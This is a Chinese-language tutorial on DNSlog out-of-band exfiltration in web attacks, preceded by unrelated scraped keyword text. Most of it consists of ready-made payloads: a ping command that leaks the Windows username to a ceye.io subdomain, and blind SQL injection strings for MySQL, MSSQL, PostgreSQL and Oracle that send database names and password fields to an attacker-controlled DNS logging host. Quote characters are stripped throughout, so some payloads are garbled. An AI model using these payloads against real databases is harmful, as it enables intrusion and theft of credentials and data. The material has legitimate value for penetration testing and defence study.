嘉祥县建设局网站,百度云盘做网站,做问卷的网站有哪些内容,吴江区经济开发区规建设局网站参考文献#xff1a;www.anquanke.com/post/id/98096https://bbs.pediy.com/thread-223881.htm DNSlog在Web攻击的利用 在某些无法直接利用漏洞获得回显的情况下#xff0c;但是目标可以发起DNS请求#xff0c;这个时候就可以通过DNSlog把想获得的数据外带出来。 常用情况 S… 参考文献www.anquanke.com/post/id/98096https://bbs.pediy.com/thread-223881.htm DNSlog在Web攻击的利用 在某些无法直接利用漏洞获得回显的情况下但是目标可以发起DNS请求这个时候就可以通过DNSlog把想获得的数据外带出来。 常用情况 SQL注入中的盲注 无回显的命令执行 无回显的SSRF 原理 1.jpg 攻击者提交注入语句让数据库把需要查询的值和域名拼接起来然后发生DNS查询只要能获得DNS的日志就得到了想要的值。 推荐一个免费的dnslog平台http://ceye.io 1.命令执行 ping %USERNAME%.xxxxxx.ceye.io 1.png 2.MySQL load_file 在MySQL中有个load_file()函数可以用来读取本地的文件,load_file()函数还可以用来发送dns解析请求以SQLi-LABS 第五关为例payload?id1 and if((select load_file(concat(\\\\,(select database()),.xxxxxx.ceye.io\\abc))),1,1)-- 1.png payload?id1 and if((select load_file(concat(\\\\,(select table_name from information_schema.tables where table_schemasecurity limit 0,1),.xxxxxx.ceye.io\\abc))),1,1)-- 2.png concat()函数拼接了4个\了因为转义的原因\\\\就变成了\\目的就是利用UNC路径。 UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。在Widnows中用共享文件的时候就会用到这种网络地址的形式\\sss.xxx\test\ Linux没有UNC路径这个东西当MySQL处于Linux系统中的时候不能使用这种方式外带数据的 1.png 3.msSQL DECLARE host varchar(1024);
SELECT host(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass)))
FROM test.dbo.test_user where [USER] admin)%2b.cece.nk40ci.ceye.io;
EXEC(master..xp_dirtree \%2bhost%2b\foobar$);4.postgreSQL DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN SELECT INTO query_result (select encode(pass::bytea,hex) from test_user where id 1);
exec_cmd : ECOPY table_output(content) FROM E\\\\\\\\\||query_result||E.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\;EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgSQL SECURITY DEFINER;
SELECT temp_function();5.SQL Server 存储程序master..xp_dirtree()用于获取所有文件夹的列表和给定文件夹内部的子文件夹。 DECLARE host varchar(1024);
注册一个名为host的变量类型为varchar。
SELECT hostCONVERT(varchar(1024),db_name()).xxxxxxxxx.ceye.io;
获取db_name()然后转换成varchar类型然后吧获取的db_name()返回值拼接到dnslog平台给我们的子域名里面然后赋值给host变量。
EXEC(master..xp_dirtree \\host\foobar$);
列远程主机的foobar$目录,由于是远程主机所以会做一个dns解析这样我们的dns平台就能得到日志了
http://xxxx.com.cn/?Id123;DECLARE host varchar(1024);SELECT hostCONVERT(varchar(1024),db_name()).xxxxxxxxx.ceye.io;EXEC(master..xp_dirtree \\host\foobar$);--6.Oracle UTL_HTTP.REQUEST
select name from test_user where id 1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id1)||.xxxxxx.ceye.io) FROM sys.DUAL;
DBMS_LDAP.INIT
select name from test_user where id 1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id1)||.xxxxxx.ceye.io,80) FROM sys.DUAL;
HTTPURITYPE
select name from test_user where id 1 union SELECT HTTPURITYPE((select pass from test_user where id1)||.xx.xxxxxx.ceye.io).GETCLOB() FROM sys.DUAL;
UTL_INADDR.GET_HOST_ADDRESS
select name from test_user where id 1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id1)||.ddd.xxxxxx.ceye.io) FROM sys.DUAL;